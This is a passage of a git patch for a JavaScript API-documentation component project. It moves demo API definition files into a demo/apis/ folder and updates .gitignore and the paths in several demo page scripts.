apis}/secured-api/oauth_1_0_signature.raml | 0 demo/{ => apis}/secured-api/passthrough-querystring.raml | 0 demo/{ => apis}/secured-api/passthrough.raml | 0 demo/{ => apis}/secured-api/secured-api.raml | 0 demo/{ => apis}/secured-api/x-custom.raml | 0 demo/{ => apis}/secured-api/x-other.raml | 0 demo/{ => apis}/secured-api/x-query-string.raml | 0 demo/{ => apis}/secured-unions/secured-unions.yaml | 0 demo/{ => apis}/type-fragment/type-fragment.raml | 0 demo/model.mjs | 3 ++- test/AmfLoader.js | 2 +- 189 files changed, 11 insertions(+), 10 deletions(-) rename demo/{ => apis}/APIC-15/APIC-15.raml (100%) rename demo/{ => apis}/APIC-15/data-types/organization-data-type.raml (100%) rename demo/{ => apis}/APIC-15/examples/organization/organization-array-response.raml (100%) rename demo/{ => apis}/APIC-15/examples/organization/organization-individual-response.raml (100%) rename demo/{ => apis}/APIC-390/APIC-390.raml (100%) rename demo/{ => apis}/APIC-390/Types/ISO-standards.raml (100%) rename demo/{ => apis}/APIC-553/APIC-553.raml (100%) rename demo/{ => apis}/APIC-560/APIC-560.yaml (100%) rename demo/{ => apis}/APIC-582/APIC-582.yaml (100%) rename demo/{ => apis}/APIC-650/APIC-650.yaml (100%) rename demo/{ => apis}/APIC-650/common-parameters.yaml (100%) rename demo/{ => apis}/APIC-711/APIC-711.raml (100%) rename demo/{ => apis}/SE-10469/Purchase-Order-oagis-id-dd32f9c6c01048a19e15c423c9c741ae.json (100%) rename demo/{ => apis}/SE-10469/SE-10469.raml (100%) rename demo/{ => apis}/SE-11415/SE-11415.raml (100%) rename demo/{ => apis}/SE-11415/canda-commons/canda-commons.raml (100%) rename demo/{ => apis}/SE-11415/canda-commons/ref/log-levels-example.json (100%) rename demo/{ => apis}/SE-11415/canda-commons/ref/log-levels-response-example.json (100%) rename demo/{ => apis}/SE-11415/canda-commons/ref/log-levels-response-schema.json (100%) rename demo/{ => apis}/SE-11415/canda-commons/ref/log-levels-schema.json (100%) rename demo/{ => apis}/SE-11415/ref/additions-example.json (100%) rename demo/{ => apis}/SE-11415/ref/additions-schema.json (100%) rename demo/{ => apis}/SE-11415/ref/companies-example.json (100%) rename demo/{ => apis}/SE-11415/ref/companies-schema.json (100%) rename demo/{ => apis}/SE-11415/ref/greeting-example.json (100%) rename demo/{ => apis}/SE-11415/ref/greeting-schema.json (100%) rename demo/{ => apis}/SE-11415/ref/greetings-example.json (100%) rename demo/{ => apis}/SE-11415/ref/greetings-schema.json (100%) rename demo/{ => apis}/SE-11415/ref/jms-message-response-exmaple.json (100%) rename demo/{ => apis}/SE-11415/ref/log-levels-example.json (100%) rename demo/{ => apis}/SE-11415/ref/log-levels-response-example.json (100%) rename demo/{ => apis}/SE-11415/ref/log-levels-response-schema.json (100%) rename demo/{ => apis}/SE-11415/ref/log-levels-schema.json (100%) rename demo/{ => apis}/SE-12752/SE-12752.raml (100%) rename demo/{ => apis}/SE-12957/SE-12957.json (100%) rename demo/{ => apis}/SE-12959/SE-12959.json (100%) rename demo/{ => apis}/Streetlights/Streetlights.yaml (100%) rename demo/{ => apis}/annotated-api/annotated-api.raml (100%) rename demo/{ => apis}/api-keys/api-keys.yaml (100%) rename demo/{ => apis}/appian-api/appian-api.raml (100%) rename demo/{ => apis}/array-body/array-body.raml (100%) rename demo/{ => apis}/async-api/async-api.yaml (100%) rename demo/{ => apis}/demo-api/demo-api.raml (100%) rename demo/{ => apis}/demo-api/examples/e400.xml (100%) rename demo/{ => apis}/demo-api/examples/e401.xml (100%) rename demo/{ => apis}/demo-api/examples/e404.xml (100%) rename demo/{ => apis}/demo-api/examples/image.xml (100%) rename demo/{ => apis}/demo-api/examples/messages-example.json (100%) rename demo/{ => apis}/demo-api/examples/messages-sent-example.json (100%) rename demo/{ => apis}/demo-api/examples/person.json (100%) rename demo/{ => apis}/demo-api/examples/person.url.encoded (100%) rename demo/{ => apis}/demo-api/examples/person.xml (100%) rename demo/{ => apis}/demo-api/examples/product.xml (100%) rename demo/{ => apis}/demo-api/library.raml (100%) rename demo/{ => apis}/demo-api/resourceTypes/app-person.raml (100%) rename demo/{ => apis}/demo-api/resourceTypes/example-types.raml (100%) rename demo/{ => apis}/demo-api/resourceTypes/image.raml (100%) rename demo/{ => apis}/demo-api/resourceTypes/message-sent-type.raml (100%) rename demo/{ => apis}/demo-api/resourceTypes/message-type.raml (100%) rename demo/{ => apis}/demo-api/resourceTypes/product.raml (100%) rename demo/{ => apis}/demo-api/resourceTypes/resource.raml (100%) rename demo/{ => apis}/demo-api/schemas/error-response.xsd (100%) rename demo/{ => apis}/demo-api/schemas/image.xsd (100%) rename demo/{ => apis}/demo-api/schemas/person.json (100%) rename demo/{ => apis}/demo-api/schemas/person.xsd (100%) rename demo/{ => apis}/demo-api/schemas/product.xsd (100%) rename demo/{ => apis}/demo-api/securitySchemes/basic.raml (100%) rename demo/{ => apis}/demo-api/securitySchemes/oauth_2_0.raml (100%) rename demo/{ => apis}/demo-api/securitySchemes/x-custom.raml (100%) rename demo/{ => apis}/demo-api/traits/adminable.raml (100%) rename demo/{ => apis}/demo-api/traits/pagination.raml (100%) rename demo/{ => apis}/documentation-fragment/documentation-fragment.raml (100%) rename demo/{ => apis}/documented-api/documented-api.raml (100%) rename demo/{ => apis}/example-fragment/example-fragment.raml (100%) rename demo/{ => apis}/google-drive-api/docs/api/headline.md (100%) rename demo/{ => apis}/google-drive-api/docs/search-for-file.md (100%) rename demo/{ => apis}/google-drive-api/docs/upload-files.md (100%) rename demo/{ => apis}/google-drive-api/docs/uploadApi/headline.md (100%) rename demo/{ => apis}/google-drive-api/docs/work-with-folders.md (100%) rename demo/{ => apis}/google-drive-api/examples/about-example.json (100%) rename demo/{ => apis}/google-drive-api/examples/app-example.json (100%) rename demo/{ => apis}/google-drive-api/examples/app-list-example.json (100%) rename demo/{ => apis}/google-drive-api/examples/change-example.json (100%) rename demo/{ => apis}/google-drive-api/examples/changeList-example.json (100%) rename demo/{ => apis}/google-drive-api/examples/channel-example.json (100%) rename demo/{ => apis}/google-drive-api/examples/childList-example.json (100%) rename demo/{ => apis}/google-drive-api/examples/childReference-example.json (100%) rename demo/{ => apis}/google-drive-api/examples/comment-example.json (100%) rename demo/{ => apis}/google-drive-api/examples/comment-reply-update-response.json (100%) rename demo/{ => apis}/google-drive-api/examples/commentCreateRequest-example.json (100%) rename demo/{ => apis}/google-drive-api/examples/commentList-example.json (100%) rename demo/{ => apis}/google-drive-api/examples/commentReply-example.json (100%) rename demo/{ => apis}/google-drive-api/examples/commentReplyList-example.json (100%) rename demo/{ => apis}/google-drive-api/examples/commentReplyRequest-example.json (100%) rename demo/{ => apis}/google-drive-api/examples/file-example.json (100%) rename demo/{ => apis}/google-drive-api/examples/fileList-example.json (100%) rename demo/{ => apis}/google-drive-api/examples/newFileRequest-example.json (100%) rename demo/{ => apis}/google-drive-api/examples/parentList-example.json (100%) rename demo/{ => apis}/google-drive-api/examples/parentReference-example.json (100%) rename demo/{ => apis}/google-drive-api/examples/permission-example.json (100%) rename demo/{ => apis}/google-drive-api/examples/permissionId-example.json (100%) rename demo/{ => apis}/google-drive-api/examples/permissionList-example.json (100%) rename demo/{ => apis}/google-drive-api/examples/permissionRequest-example.json (100%) rename demo/{ => apis}/google-drive-api/examples/permissionUpdateRequest-example.json (100%) rename demo/{ => apis}/google-drive-api/examples/property-example.json (100%) rename demo/{ => apis}/google-drive-api/examples/propertyList-example.json (100%) rename demo/{ => apis}/google-drive-api/examples/revision-example.json (100%) rename demo/{ => apis}/google-drive-api/examples/revisionList-example.json (100%) rename demo/{ => apis}/google-drive-api/examples/revisionUpdateRequest-example.json (100%) rename demo/{ => apis}/google-drive-api/examples/stopWatchingRequest-example.json (100%) rename demo/{ => apis}/google-drive-api/examples/watchRequest-example.json (100%) rename demo/{ => apis}/google-drive-api/google-drive-api.raml (100%) rename demo/{ => apis}/google-drive-api/libraries/about-lib.raml (100%) rename demo/{ => apis}/google-drive-api/libraries/annotations.raml (100%) rename demo/{ => apis}/google-drive-api/libraries/app-lib.raml (100%) rename demo/{ => apis}/google-drive-api/libraries/child-lib.raml (100%) rename demo/{ => apis}/google-drive-api/libraries/comment-lib.raml (100%) rename demo/{ => apis}/google-drive-api/libraries/file-lib.raml (100%) rename demo/{ => apis}/google-drive-api/libraries/parent-lib.raml (100%) rename demo/{ => apis}/google-drive-api/libraries/permission-lib.raml (100%) rename demo/{ => apis}/google-drive-api/libraries/properties-lib.raml (100%) rename demo/{ => apis}/google-drive-api/libraries/revision-lib.raml (100%) rename demo/{ => apis}/google-drive-api/libraries/watch-lib.raml (100%) rename demo/{ => apis}/google-drive-api/securitySchemes/oauth_2_0.raml (100%) rename demo/{ => apis}/google-drive-api/traits/file.raml (100%) rename demo/{ => apis}/google-drive-api/traits/results.raml (100%) rename demo/{ => apis}/google-drive-api/traits/visibility.raml (100%) rename demo/{ => apis}/google-drive-api/types/additional-role-info.raml (100%) rename demo/{ => apis}/google-drive-api/types/channels-stop.raml (100%) rename demo/{ => apis}/google-drive-api/types/export-format.raml (100%) rename demo/{ => apis}/google-drive-api/types/feature.raml (100%) rename demo/{ => apis}/google-drive-api/types/file-capabilities.raml (100%) rename demo/{ => apis}/google-drive-api/types/file-labels.raml (100%) rename demo/{ => apis}/google-drive-api/types/icon.raml (100%) rename demo/{ => apis}/google-drive-api/types/import-format.raml (100%) rename demo/{ => apis}/google-drive-api/types/new-drive-file.raml (100%) rename demo/{ => apis}/google-drive-api/types/owners.raml (100%) rename demo/{ => apis}/google-drive-api/types/picture.raml (100%) rename demo/{ => apis}/google-drive-api/types/property.raml (100%) rename demo/{ => apis}/google-drive-api/types/resource.raml (100%) rename demo/{ => apis}/google-drive-api/types/role-set.raml (100%) rename demo/{ => apis}/google-drive-api/types/service-quota.raml (100%) rename demo/{ => apis}/google-drive-api/types/standard-request.raml (100%) rename demo/{ => apis}/google-drive-api/types/team-drive-list.raml (100%) rename demo/{ => apis}/google-drive-api/types/team-drive.raml (100%) rename demo/{ => apis}/google-drive-api/types/thumbnail.raml (100%) rename demo/{ => apis}/google-drive-api/types/upload-size.raml (100%) rename demo/{ => apis}/google-drive-api/types/user.raml (100%) rename demo/{ => apis}/lib-fragment/lib-fragment.raml (100%) rename demo/{ => apis}/multi-server/multi-server.yaml (100%) rename demo/{ => apis}/nexmo-sms-api/nexmo-sms-api.raml (100%) rename demo/{ => apis}/oas-bearer/oas-bearer.yaml (100%) rename demo/{ => apis}/oas-callbacks/oas-callbacks.yaml (100%) rename demo/{ => apis}/oauth-flows/oauth-flows.yaml (100%) rename demo/{ => apis}/oauth-pkce/oauth-2-pkce.raml (100%) rename demo/{ => apis}/oauth-pkce/oauth-pkce.raml (100%) rename demo/{ => apis}/oauth1-fragment/oauth1-fragment.raml (100%) rename demo/{ => apis}/oauth2-fragment/oauth2-fragment.raml (100%) rename demo/{ => apis}/partial-model/documentation.json (100%) rename demo/{ => apis}/partial-model/endpoint.json (100%) rename demo/{ => apis}/partial-model/security.json (100%) rename demo/{ => apis}/partial-model/type.json (100%) rename demo/{ => apis}/secured-api/oauth-2-custom-settings.raml (100%) rename demo/{ => apis}/secured-api/oauth2-header-delivery.raml (100%) rename demo/{ => apis}/secured-api/oauth2-no-delivery.raml (100%) rename demo/{ => apis}/secured-api/oauth2-no-grants.raml (100%) rename demo/{ => apis}/secured-api/oauth2-pkce.raml (100%) rename demo/{ => apis}/secured-api/oauth2-query-delivery.raml (100%) rename demo/{ => apis}/secured-api/oauth_1_0.raml (100%) rename demo/{ => apis}/secured-api/oauth_1_0_no-settings.raml (100%) rename demo/{ => apis}/secured-api/oauth_1_0_no-signature.raml (100%) rename demo/{ => apis}/secured-api/oauth_1_0_signature.raml (100%) rename demo/{ => apis}/secured-api/passthrough-querystring.raml (100%) rename demo/{ => apis}/secured-api/passthrough.raml (100%) rename demo/{ => apis}/secured-api/secured-api.raml (100%) rename demo/{ => apis}/secured-api/x-custom.raml (100%) rename demo/{ => apis}/secured-api/x-other.raml (100%) rename demo/{ => apis}/secured-api/x-query-string.raml (100%) rename demo/{ => apis}/secured-unions/secured-unions.yaml (100%) rename demo/{ => apis}/type-fragment/type-fragment.raml (100%) diff --git a/.gitignore b/.gitignore index 0764df0..f19881a 100644 --- a/.gitignore +++ b/.gitignore @@ -59,6 +59,6 @@ coverage demo/vendor.js # AMF models -demo/apis/ +demo/models/ .idea/ diff --git a/demo/api-annotation.js b/demo/api-annotation.js index ac5c981..61e7c06 100644 --- a/demo/api-annotation.js +++ b/demo/api-annotation.js @@ -116,7 +116,7 @@ class ComponentPage extends AmfDemoBase { ['annotated-api', 'Annotated API'], ].forEach(([file, label]) => { result[result.length] = html` - ${label}`; + ${label}`; }); return result; } diff --git a/demo/api-channel.js b/demo/api-channel.js index 9e660a2..c7d1436 100644 --- a/demo/api-channel.js +++ b/demo/api-channel.js @@ -115,7 +115,7 @@ class ComponentPage extends AmfDemoBase { ['Streetlights', 'Streetlights API'], ].forEach(([file, label]) => { result[result.length] = html` - ${label}`; + ${label}`; }); return result; } diff --git a/demo/api-documentation.js b/demo/api-documentation.js index d7f6436..361375b 100644 --- a/demo/api-documentation.js +++ b/demo/api-documentation.js @@ -78,7 +78,7 @@ class ComponentDemo extends ApiDemoPage { ['async-api', 'async-api'], ].forEach(([file, label]) => { result[result.length] = html` - ${label}`; + ${label}`; }); [ @@ -87,7 +87,7 @@ class ComponentDemo extends ApiDemoPage { ['partial-model/security', 'Partial model: Security'], ['partial-model/type', 'Partial model: Type'], ].forEach(([file, label]) => { - result[result.length] = html`${label}`; + result[result.length] = html`${label}`; }); return result; } diff --git a/demo/api-operation.js b/demo/api-operation.js index 6929d51..98b4d61 100644 --- a/demo/api-operation.js +++ b/demo/api-operation.js @@ -148,7 +148,7 @@ class ComponentPage extends AmfDemoBase { ['APIC-650', 'APIC-650'], ].forEach(([file, label]) => { result[result.length] = html` - ${label} + ${label} `; }); return result; diff --git a/demo/api-resource.js b/demo/api-resource.js index 779f278..cdb4852 100644 --- a/demo/api-resource.js +++ b/demo/api-resource.js @@ -159,7 +159,7 @@ class ComponentPage extends AmfDemoBase { ['APIC-650', 'APIC-650'], ].forEach(([file, label]) => { result[result.length] = html` - ${label}`; + ${label}`; }); return result; } diff --git a/demo/api-security-documentation.js b/demo/api-security-documentation.js index 79230ff..b825438 100644 --- a/demo/api-security-documentation.js +++ b/demo/api-security-documentation.js @@ -104,7 +104,7 @@ class ComponentPage extends AmfDemoBase { ['secured-api', 'Secured API'], ].forEach(([file, label]) => { result[result.length] = html` - ${label} - compact model`; + ${label} - compact model`; }); return result; } diff --git a/demo/APIC-15/APIC-15.raml b/demo/apis/APIC-15/APIC-15.raml similarity index 100% rename from demo/APIC-15/APIC-15.raml rename to demo/apis/APIC-15/APIC-15.raml diff --git a/demo/APIC-15/data-types/organization-data-type.raml b/demo/apis/APIC-15/data-types/organization-data-type.raml similarity index 100% rename from demo/APIC-15/data-types/organization-data-type.raml rename to demo/apis/APIC-15/data-types/organization-data-type.raml diff --git a/demo/APIC-15/examples/organization/organization-array-response.raml b/demo/apis/APIC-15/examples/organization/organization-array-response.raml similarity index 100% rename from demo/APIC-15/examples/organization/organization-array-response.raml rename to demo/apis/APIC-15/examples/organization/organization-array-response.raml diff --git a/demo/APIC-15/examples/organization/organization-individual-response.raml b/demo/apis/APIC-15/examples/organization/organization-individual-response.raml similarity index 100% rename from demo/APIC-15/examples/organization/organization-individual-response.raml rename to demo/apis/APIC-15/examples/organization/organization-individual-response.raml diff --git a/demo/APIC-390/APIC-390.raml b/demo/apis/APIC-390/APIC-390.raml similarity index 100% rename from demo/APIC-390/APIC-390.raml rename to demo/apis/APIC-390/APIC-390.raml diff --git a/demo/APIC-390/Types/ISO-standards.raml b/demo/apis/APIC-390/Types/ISO-standards.raml similarity index 100% rename from demo/APIC-390/Types/ISO-standards.raml rename to demo/apis/APIC-390/Types/ISO-standards.raml diff --git a/demo/APIC-553/APIC-553.raml b/demo/apis/APIC-553/APIC-553.raml similarity index 100% rename from demo/APIC-553/APIC-553.raml rename to demo/apis/APIC-553/APIC-553.raml diff --git a/demo/APIC-560/APIC-560.yaml b/demo/apis/APIC-560/APIC-560.yaml similarity index 100% rename from demo/APIC-560/APIC-560.yaml rename to demo/apis/APIC-560/APIC-560.yaml diff --git a/demo/APIC-582/APIC-582.yaml b/demo/apis/APIC-582/APIC-582.yaml similarity index 100% rename from demo/APIC-582/APIC-582.yaml rename to demo/apis/APIC-582/APIC-582.yaml diff --git a/demo/APIC-650/APIC-650.yaml b/demo/apis/APIC-650/APIC-650.yaml similarity index 100% rename from demo/APIC-650/APIC-650.yaml rename to demo/apis/APIC-650/APIC-650.yaml diff --git a/demo/APIC-650/common-parameters.yaml b/demo/apis/APIC-650/common-parameters.yaml similarity index 100% rename from demo/APIC-650/common-parameters.yaml rename to demo/apis/APIC-650/common-parameters.yaml diff --git a/demo/APIC-711/APIC-711.raml b/demo/apis/APIC-711/APIC-711.raml similarity index 100% rename from demo/APIC-711/APIC-711.raml rename to demo/apis/APIC-711/APIC-711.raml diff --git a/demo/SE-10469/Purchase-Order-oagis-id-dd32f9c6c01048a19e15c423c9c741ae.json b/demo/apis/SE-10469/Purchase-Order-oagis-id-dd32f9c6c01048a19e15c423c9c741ae.json similarity index 100% rename from demo/SE-10469/Purchase-Order-oagis-id-dd32f9c6c01048a19e15c423c9c741ae.json rename to demo/apis/SE-10469/Purchase-Order-oagis-id-dd32f9c6c01048a19e15c423c9c741ae.json diff --git a/demo/SE-10469/SE-10469.raml b/demo/apis/SE-10469/SE-10469.raml similarity index 100% rename from demo/SE-10469/SE-10469.raml rename to demo/apis/SE-10469/SE-10469.raml diff --git a/demo/SE-11415/SE-11415.raml b/demo/apis/SE-11415/SE-11415.raml similarity index 100% rename from demo/SE-11415/SE-11415.raml rename to demo/apis/SE-11415/SE-11415.raml diff --git a/demo/SE-11415/canda-commons/canda-commons.raml b/demo/apis/SE-11415/canda-commons/canda-commons.raml similarity index 100% rename from demo/SE-11415/canda-commons/canda-commons.raml rename to demo/apis/SE-11415/canda-commons/canda-commons.raml diff --git a/demo/SE-11415/canda-commons/ref/log-levels-example.json b/demo/apis/SE-11415/canda-commons/ref/log-levels-example.json similarity index 100% rename from demo/SE-11415/canda-commons/ref/log-levels-example.json rename to demo/apis/SE-11415/canda-commons/ref/log-levels-example.json diff --git a/demo/SE-11415/canda-commons/ref/log-levels-response-example.json b/demo/apis/SE-11415/canda-commons/ref/log-levels-response-example.json similarity index 100% rename from demo/SE-11415/canda-commons/ref/log-levels-response-example.json rename to demo/apis/SE-11415/canda-commons/ref/log-levels-response-example.json diff --git a/demo/SE-11415/canda-commons/ref/log-levels-response-schema.json b/demo/apis/SE-11415/canda-commons/ref/log-levels-response-schema.json similarity index 100% rename from demo/SE-11415/canda-commons/ref/log-levels-response-schema.json rename to demo/apis/SE-11415/canda-commons/ref/log-levels-response-schema.json diff --git a/demo/SE-11415/canda-commons/ref/log-levels-schema.json b/demo/apis/SE-11415/canda-commons/ref/log-levels-schema.json similarity index 100% rename from demo/SE-11415/canda-commons/ref/log-levels-schema.json rename to demo/apis/SE-11415/canda-commons/ref/log-levels-schema.json diff --git a/demo/SE-11415/ref/additions-example.json b/demo/apis/SE-11415/ref/additions-example.json similarity index 100% rename from demo/SE-11415/ref/additions-example.json rename to demo/apis/SE-11415/ref/additions-example.json diff --git a/demo/SE-11415/ref/additions-schema.json b/demo/apis/SE-11415/ref/additions-schema.json similarity index 100% rename from demo/SE-11415/ref/additions-schema.json rename to demo/apis/SE-11415/ref/additions-schema.json diff --git a/demo/SE-11415/ref/companies-example.json b/demo/apis/SE-11415/ref/companies-example.json similarity index 100% rename from demo/SE-11415/ref/companies-example.json rename to demo/apis/SE-11415/ref/companies-example.json diff --git a/demo/SE-11415/ref/companies-schema.json b/demo/apis/SE-11415/ref/companies-schema.json similarity index 100% rename from demo/SE-11415/ref/companies-schema.json rename to demo/apis/SE-11415/ref/companies-schema.json diff --git a/demo/SE-11415/ref/greeting-example.json b/demo/apis/SE-11415/ref/greeting-example.json similarity index 100% rename from demo/SE-11415/ref/greeting-example.json rename to demo/apis/SE-11415/ref/greeting-example.json diff --git a/demo/SE-11415/ref/greeting-schema.json b/demo/apis/SE-11415/ref/greeting-schema.json similarity index 100% rename from demo/SE-11415/ref/greeting-schema.json rename to demo/apis/SE-11415/ref/greeting-schema.json diff --git a/demo/SE-11415/ref/greetings-example.json b/demo/apis/SE-11415/ref/greetings-example.json similarity index 100% rename from demo/SE-11415/ref/greetings-example.json rename to demo/apis/SE-11415/ref/greetings-example.json diff --git a/demo/SE-11415/ref/greetings-schema.json b/demo/apis/SE-11415/ref/greetings-schema.json similarity index 100% rename from demo/SE-11415/ref/greetings-schema.json rename to demo/apis/SE-11415/ref/greetings-schema.json diff --git a/demo/SE-11415/ref/jms-message-response-exmaple.json b/demo/apis/SE-11415/ref/jms-message-response-exmaple.json similarity index 100% rename from demo/SE-11415/ref/jms-message-response-exmaple.json rename to demo/apis/SE-11415/ref/jms-message-response-exmaple.json diff --git a/demo/SE-11415/ref/log-levels-example.json b/demo/apis/SE-11415/ref/log-levels-example.json similarity index 100% rename from demo/SE-11415/ref/log-levels-example.json rename to demo/apis/SE-11415/ref/log-levels-example.json diff --git a/demo/SE-11415/ref/log-levels-response-example.json b/demo/apis/SE-11415/ref/log-levels-response-example.json similarity index 100% rename from demo/SE-11415/ref/log-levels-response-example.json rename to demo/apis/SE-11415/ref/log-levels-response-example.json diff --git a/demo/SE-11415/ref/log-levels-response-schema.json b/demo/apis/SE-11415/ref/log-levels-response-schema.json similarity index 100% rename from demo/SE-11415/ref/log-levels-response-schema.json rename to demo/apis/SE-11415/ref/log-levels-response-schema.json diff --git a/demo/SE-11415/ref/log-levels-schema.json b/demo/apis/SE-11415/ref/log-levels-schema.json similarity index 100% rename from demo/SE-11415/ref/log-levels-schema.json rename to demo/apis/SE-11415/ref/log-levels-schema.json diff --git a/demo/SE-12752/SE-12752.raml b/demo/apis/SE-12752/SE-12752.raml similarity index 100% rename from demo/SE-12752/SE-12752.raml rename to demo/apis/SE-12752/SE-12752.raml diff --git a/demo/SE-12957/SE-12957.json b/demo/apis/SE-12957/SE-12957.json similarity index 100% rename from demo/SE-12957/SE-12957.json rename to demo/apis/SE-12957/SE-12957.json diff --git a/demo/SE-12959/SE-12959.json b/demo/apis/SE-12959/SE-12959.json similarity index 100% rename from demo/SE-12959/SE-12959.json rename to demo/apis/SE-12959/SE-12959.json diff --git a/demo/Streetlights/Streetlights.yaml b/demo/apis/Streetlights/Streetlights.yaml similarity index 100% rename from demo/Streetlights/Streetlights.yaml rename to demo/apis/Streetlights/Streetlights.yaml diff --git a/demo/annotated-api/annotated-api.raml b/demo/apis/annotated-api/annotated-api.raml similarity index 100% rename from demo/annotated-api/annotated-api.raml rename to demo/apis/annotated-api/annotated-api.raml diff --git a/demo/api-keys/api-keys.yaml b/demo/apis/api-keys/api-keys.yaml similarity index 100% rename from demo/api-keys/api-keys.yaml rename to demo/apis/api-keys/api-keys.yaml diff --git a/demo/appian-api/appian-api.raml b/demo/apis/appian-api/appian-api.raml similarity index 100% rename from demo/appian-api/appian-api.raml rename to demo/apis/appian-api/appian-api.raml diff --git a/demo/array-body/array-body.raml b/demo/apis/array-body/array-body.raml similarity index 100% rename from demo/array-body/array-body.raml rename to demo/apis/array-body/array-body.raml diff --git a/demo/async-api/async-api.yaml b/demo/apis/async-api/async-api.yaml similarity index 100% rename from demo/async-api/async-api.yaml rename to demo/apis/async-api/async-api.yaml diff --git a/demo/demo-api/demo-api.raml b/demo/apis/demo-api/demo-api.raml similarity index 100% rename from demo/demo-api/demo-api.raml rename to demo/apis/demo-api/demo-api.raml diff --git a/demo/demo-api/examples/e400.xml b/demo/apis/demo-api/examples/e400.xml similarity index 100% rename from demo/demo-api/examples/e400.xml rename to demo/apis/demo-api/examples/e400.xml diff --git a/demo/demo-api/examples/e401.xml b/demo/apis/demo-api/examples/e401.xml similarity index 100% rename from demo/demo-api/examples/e401.xml rename to demo/apis/demo-api/examples/e401.xml diff --git a/demo/demo-api/examples/e404.xml b/demo/apis/demo-api/examples/e404.xml similarity index 100% rename from demo/demo-api/examples/e404.xml rename to demo/apis/demo-api/examples/e404.xml diff --git a/demo/demo-api/examples/image.xml b/demo/apis/demo-api/examples/image.xml similarity index 100% rename from demo/demo-api/examples/image.xml rename to demo/apis/demo-api/examples/image.xml diff --git a/demo/demo-api/examples/messages-example.json b/demo/apis/demo-api/examples/messages-example.json similarity index 100% rename from demo/demo-api/examples/messages-example.json rename to demo/apis/demo-api/examples/messages-example.json diff --git a/demo/demo-api/examples/messages-sent-example.json b/demo/apis/demo-api/examples/messages-sent-example.json similarity index 100% rename from demo/demo-api/examples/messages-sent-example.json rename to demo/apis/demo-api/examples/messages-sent-example.json diff --git a/demo/demo-api/examples/person.json b/demo/apis/demo-api/examples/person.json similarity index 100% rename from demo/demo-api/examples/person.json rename to demo/apis/demo-api/examples/person.json diff --git a/demo/demo-api/examples/person.url.encoded b/demo/apis/demo-api/examples/person.url.encoded similarity index 100% rename from demo/demo-api/examples/person.url.encoded rename to demo/apis/demo-api/examples/person.url.encoded diff --git a/demo/demo-api/examples/person.xml b/demo/apis/demo-api/examples/person.xml similarity index 100% rename from demo/demo-api/examples/person.xml rename to demo/apis/demo-api/examples/person.xml diff --git a/demo/demo-api/examples/product.xml b/demo/apis/demo-api/examples/product.xml similarity index 100% rename from demo/demo-api/examples/product.xml rename to demo/apis/demo-api/examples/product.xml diff --git a/demo/demo-api/library.raml b/demo/apis/demo-api/library.raml similarity index 100% rename from demo/demo-api/library.raml rename to demo/apis/demo-api/library.raml diff --git a/demo/demo-api/resourceTypes/app-person.raml b/demo/apis/demo-api/resourceTypes/app-person.raml similarity index 100% rename from demo/demo-api/resourceTypes/app-person.raml rename to demo/apis/demo-api/resourceTypes/app-person.raml diff --git a/demo/demo-api/resourceTypes/example-types.raml b/demo/apis/demo-api/resourceTypes/example-types.raml similarity index 100% rename from demo/demo-api/resourceTypes/example-types.raml rename to demo/apis/demo-api/resourceTypes/example-types.raml diff --git a/demo/demo-api/resourceTypes/image.raml b/demo/apis/demo-api/resourceTypes/image.raml similarity index 100% rename from demo/demo-api/resourceTypes/image.raml rename to demo/apis/demo-api/resourceTypes/image.raml diff --git a/demo/demo-api/resourceTypes/message-sent-type.raml b/demo/apis/demo-api/resourceTypes/message-sent-type.raml similarity index 100% rename from demo/demo-api/resourceTypes/message-sent-type.raml rename to demo/apis/demo-api/resourceTypes/message-sent-type.raml diff --git a/demo/demo-api/resourceTypes/message-type.raml b/demo/apis/demo-api/resourceTypes/message-type.raml similarity index 100% rename from demo/demo-api/resourceTypes/message-type.raml rename to demo/apis/demo-api/resourceTypes/message-type.raml diff --git a/demo/demo-api/resourceTypes/product.raml b/demo/apis/demo-api/resourceTypes/product.raml similarity index 100% rename from demo/demo-api/resourceTypes/product.raml rename to demo/apis/demo-api/resourceTypes/product.raml diff --git a/demo/demo-api/resourceTypes/resource.raml b/demo/apis/demo-api/resourceTypes/resource.raml similarity index 100% rename from demo/demo-api/resourceTypes/resource.raml rename to demo/apis/demo-api/resourceTypes/resource.raml diff --git a/demo/demo-api/schemas/error-response.xsd b/demo/apis/demo-api/schemas/error-response.xsd similarity index 100% rename from demo/demo-api/schemas/error-response.xsd rename to demo/apis/demo-api/schemas/error-response.xsd diff --git a/demo/demo-api/schemas/image.xsd b/demo/apis/demo-api/schemas/image.xsd similarity index 100% rename from demo/demo-api/schemas/image.xsd rename to demo/apis/demo-api/schemas/image.xsd diff --git a/demo/demo-api/schemas/person.json b/demo/apis/demo-api/schemas/person.json similarity index 100% rename from demo/demo-api/schemas/person.json rename to demo/apis/demo-api/schemas/person.json diff --git a/demo/demo-api/schemas/person.xsd b/demo/apis/demo-api/schemas/person.xsd similarity index 100% rename from demo/demo-api/schemas/person.xsd rename to demo/apis/demo-api/schemas/person.xsd diff --git a/demo/demo-api/schemas/product.xsd b/demo/apis/demo-api/schemas/product.xsd similarity index 100% rename from demo/demo-api/schemas/product.xsd rename to demo/apis/demo-api/schemas/product.xsd diff --git a/demo/demo-api/securitySchemes/basic.raml b/demo/apis/demo-api/securitySchemes/basic.raml similarity index 100% rename from demo/demo-api/securitySchemes/basic.raml rename to demo/apis/demo-api/securitySchemes/basic.raml diff --git a/demo/demo-api/securitySchemes/oauth_2_0.raml b/demo/apis/demo-api/securitySchemes/oauth_2_0.raml similarity index 100% rename from demo/demo-api/securitySchemes/oauth_2_0.raml rename to demo/apis/demo-api/securitySchemes/oauth_2_0.raml diff --git a/demo/demo-api/securitySchemes/x-custom.raml b/demo/apis/demo-api/securitySchemes/x-custom.raml similarity index 100% rename from demo/demo-api/securitySchemes/x-custom.raml rename to demo/apis/demo-api/securitySchemes/x-custom.raml diff --git a/demo/demo-api/traits/adminable.raml b/demo/apis/demo-api/traits/adminable.raml similarity index 100% rename from demo/demo-api/traits/adminable.raml rename to demo/apis/demo-api/traits/adminable.raml diff --git a/demo/demo-api/traits/pagination.raml b/demo/apis/demo-api/traits/pagination.raml similarity index 100% rename from demo/demo-api/traits/pagination.raml rename to demo/apis/demo-api/traits/pagination.raml diff --git a/demo/documentation-fragment/documentation-fragment.raml b/demo/apis/documentation-fragment/documentation-fragment.raml similarity index 100% rename from demo/documentation-fragment/documentation-fragment.raml rename to demo/apis/documentation-fragment/documentation-fragment.raml diff --git a/demo/documented-api/documented-api.raml b/demo/apis/documented-api/documented-api.raml similarity index 100% rename from demo/documented-api/documented-api.raml rename to demo/apis/documented-api/documented-api.raml diff --git 